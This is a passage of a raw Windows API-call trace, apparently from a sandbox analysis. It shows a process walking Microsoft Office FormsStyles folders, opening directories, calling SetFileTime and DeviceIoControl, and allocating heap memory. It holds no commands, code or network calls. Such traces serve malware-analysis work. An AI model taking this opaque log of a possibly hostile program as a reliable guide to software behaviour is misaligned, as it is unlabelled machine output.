ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfd54e650, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="STS2", cAlternateFileName="")) returned 1 [0077.922] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11a1f50 [0077.922] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\STS2" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\sts2"), fInfoLevelId=0x0, lpFileInformation=0x119e8e0 | out: lpFileInformation=0x119e8e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd54e650, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfd54e650, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfd54e650, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0077.925] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\STS2" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\sts2"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x178 [0077.925] SetFileTime (hFile=0x178, lpCreationTime=0x0, lpLastAccessTime=0x119e924, lpLastWriteTime=0x119e924) returned 0 [0077.925] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0xabf2b8 [0077.926] DeviceIoControl (in: hDevice=0x178, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xabf2b8, nOutBufferSize=0x4000, lpBytesReturned=0x119e97c, lpOverlapped=0x0 | out: lpOutBuffer=0xabf2b8, lpBytesReturned=0x119e97c, lpOverlapped=0x0) returned 0 [0077.926] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xabf2b8) returned 1 [0077.926] NtClose (Handle=0x178) returned 0x0 [0077.926] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11a1f50) returned 1 [0077.926] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7b50 [0077.926] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7bd8 [0077.926] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11a1f50 [0077.926] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7b50) returned 1 [0077.926] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11a2160 [0077.927] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\STS2\\*", fInfoLevelId=0x1, lpFindFileData=0x119e72c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e72c) returned 0x2e90c0 [0077.927] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd54e650, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfd54e650, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfd54e650, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0077.927] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcff1d400, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd54e650, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xcff1d400, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xe9, dwReserved0=0x0, dwReserved1=0x0, cFileName="background.gif", cAlternateFileName="")) returned 1 [0077.927] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7b50 [0077.927] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7b50) returned 1 [0077.927] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7b50 [0077.927] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7b50) returned 1 [0077.927] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7b50 [0077.927] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11a2058 [0077.927] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7bd8) returned 1 [0077.927] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xaafaa0 [0077.927] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11a4cb0 [0077.927] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7b50) returned 1 [0077.928] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcff1d400, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd54e650, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xcff1d400, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xcbd, dwReserved0=0x0, dwReserved1=0x0, cFileName="HEADER.GIF", cAlternateFileName="")) returned 1 [0077.928] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7b50 [0077.928] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7b50) returned 1 [0077.928] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7b50 [0077.928] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7b50) returned 1 [0077.928] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7b50 [0077.928] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xaafac0 [0077.928] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11a4db8 [0077.928] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7b50) returned 1 [0077.928] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcff1d400, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd54e650, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xcff1d400, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x1ce, dwReserved0=0x0, dwReserved1=0x0, cFileName="TAB_OFF.GIF", cAlternateFileName="")) returned 1 [0077.928] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7b50 [0077.928] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7b50) returned 1 [0077.928] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7b50 [0077.928] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7b50) returned 1 [0077.928] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7b50 [0077.928] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xaafae0 [0077.929] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11a4ec0 [0077.929] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7b50) returned 1 [0077.929] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcff1d400, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd54e650, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xcff1d400, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x108, dwReserved0=0x0, dwReserved1=0x0, cFileName="TAB_ON.GIF", cAlternateFileName="")) returned 1 [0077.929] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7b50 [0077.929] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7b50) returned 1 [0077.929] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7b50 [0077.929] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7b50) returned 1 [0077.929] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7b50 [0077.929] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xaafb00 [0077.929] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11a4fc8 [0077.929] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7b50) returned 1 [0077.929] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcff1d400, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd54e650, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xcff1d400, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x108, dwReserved0=0x0, dwReserved1=0x0, cFileName="TAB_ON.GIF", cAlternateFileName="")) returned 0 [0077.929] GetLastError () returned 0x12 [0077.929] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\STS2\\*", fInfoLevelId=0x1, lpFindFileData=0x119e72c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e72c) returned 0x2e9040 [0077.929] FindClose (in: hFindFile=0x2e90c0 | out: hFindFile=0x2e90c0) returned 1 [0077.930] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd54e650, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfd54e650, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfd54e650, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0077.930] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcff1d400, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd54e650, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xcff1d400, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xe9, dwReserved0=0x0, dwReserved1=0x0, cFileName="background.gif", cAlternateFileName="")) returned 1 [0077.930] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcff1d400, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd54e650, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xcff1d400, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xcbd, dwReserved0=0x0, dwReserved1=0x0, cFileName="HEADER.GIF", cAlternateFileName="")) returned 1 [0077.930] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcff1d400, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd54e650, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xcff1d400, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x1ce, dwReserved0=0x0, dwReserved1=0x0, cFileName="TAB_OFF.GIF", cAlternateFileName="")) returned 1 [0077.930] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcff1d400, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd54e650, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xcff1d400, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x108, dwReserved0=0x0, dwReserved1=0x0, cFileName="TAB_ON.GIF", cAlternateFileName="")) returned 1 [0077.930] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcff1d400, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd54e650, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xcff1d400, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x108, dwReserved0=0x0, dwReserved1=0x0, cFileName="TAB_ON.GIF", cAlternateFileName="")) returned 0 [0077.930] GetLastError () returned 0x12 [0077.930] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11a2160) returned 1 [0077.930] FindClose (in: hFindFile=0x2e9040 | out: hFindFile=0x2e9040) returned 1 [0077.930] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11a2058) returned 1 [0077.930] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11a1f50) returned 1 [0077.930] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcff1d400, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd6a52b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xcff1d400, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xd6a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Sts2.css", cAlternateFileName="")) returned 1 [0077.930] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd54e650, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfd5747b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfd5747b0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Swirl", cAlternateFileName="")) returned 1 [0077.930] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11a1f50 [0077.930] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Swirl" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\swirl"), fInfoLevelId=0x0, lpFileInformation=0x119e8e0 | out: lpFileInformation=0x119e8e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd54e650, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfd5747b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfd5747b0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0077.939] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Swirl" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\swirl"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x168 [0077.939] SetFileTime (hFile=0x168, lpCreationTime=0x0, lpLastAccessTime=0x119e924, lpLastWriteTime=0x119e924) returned 0 [0077.939] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0xabf2b8 [0077.939] DeviceIoControl (in: hDevice=0x168, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xabf2b8, nOutBufferSize=0x4000, lpBytesReturned=0x119e97c, lpOverlapped=0x0 | out: lpOutBuffer=0xabf2b8, lpBytesReturned=0x119e97c, lpOverlapped=0x0) returned 0 [0077.939] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xabf2b8) returned 1 [0077.939] NtClose (Handle=0x168) returned 0x0 [0077.939] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11a1f50) returned 1 [0077.940] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7b50 [0077.940] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7bd8 [0077.940] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11a1f50 [0077.940] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7b50) returned 1 [0077.940] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11a2058 [0077.940] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Swirl\\*", fInfoLevelId=0x1, lpFindFileData=0x119e72c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e72c) returned 0x2e9040 [0077.940] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd54e650, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfd5747b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfd5747b0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0077.940] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd1230100, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd54e650, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xd1230100, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x32f, dwReserved0=0x0, dwReserved1=0x0, cFileName="background.gif", cAlternateFileName="")) returned 1 [0077.940] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7b50 [0077.940] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7b50) returned 1 [0077.940] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7b50 [0077.940] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7b50) returned 1 [0077.940] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7b50 [0077.940] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11a2160 [0077.941] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7bd8) returned 1 [0077.941] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xaafb20 [0077.941] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11a50d0 [0077.941] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7b50) returned 1 [0077.941] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd1230100, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd5747b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xd1230100, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x6993, dwReserved0=0x0, dwReserved1=0x0, cFileName="HEADER.GIF", cAlternateFileName="")) returned 1 [0077.941] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7b50 [0077.941] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7b50) returned 1 [0077.941] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7b50 [0077.941] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7b50) returned 1 [0077.941] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7b50 [0077.941] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xaafb40 [0077.941] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11a51d8 [0077.941] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7b50) returned 1 [0077.941] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd1230100, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd5747b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xd1230100, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x155, dwReserved0=0x0, dwReserved1=0x0, cFileName="TAB_OFF.GIF", cAlternateFileName="")) returned 1 [0077.941] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7b50 [0077.941] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7b50) returned 1 [0077.941] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7b50 [0077.942] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7b50) returned 1 [0077.942] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7b50 [0077.942] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xaafb60 [0077.942] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11a52e0 [0077.942] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7b50) returned 1 [0077.942] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd1230100, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd5747b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xd1230100, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xde, dwReserved0=0x0, dwReserved1=0x0, cFileName="TAB_ON.GIF", cAlternateFileName="")) returned 1 [0077.942] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7b50 [0077.942] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7b50) returned 1 [0077.942] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7b50 [0077.943] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7b50) returned 1 [0077.943] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7b50 [0077.943] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xaafb80 [0077.943] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11a53e8 [0077.943] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7b50) returned 1 [0077.943] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd1230100, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd5747b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xd1230100, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xde, dwReserved0=0x0, dwReserved1=0x0, cFileName="TAB_ON.GIF", cAlternateFileName="")) returned 0 [0077.943] GetLastError () returned 0x12 [0077.943] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Swirl\\*", fInfoLevelId=0x1, lpFindFileData=0x119e72c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e72c) returned 0x2e90c0 [0077.943] FindClose (in: hFindFile=0x2e9040 | out: hFindFile=0x2e9040) returned 1 [0077.943] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd54e650, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfd5747b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfd5747b0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0077.943] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd1230100, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd54e650, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xd1230100, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x32f, dwReserved0=0x0, dwReserved1=0x0, cFileName="background.gif", cAlternateFileName="")) returned 1 [0077.943] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd1230100, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd5747b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xd1230100, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x6993, dwReserved0=0x0, dwReserved1=0x0, cFileName="HEADER.GIF", cAlternateFileName="")) returned 1 [0077.943] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd1230100, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd5747b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xd1230100, 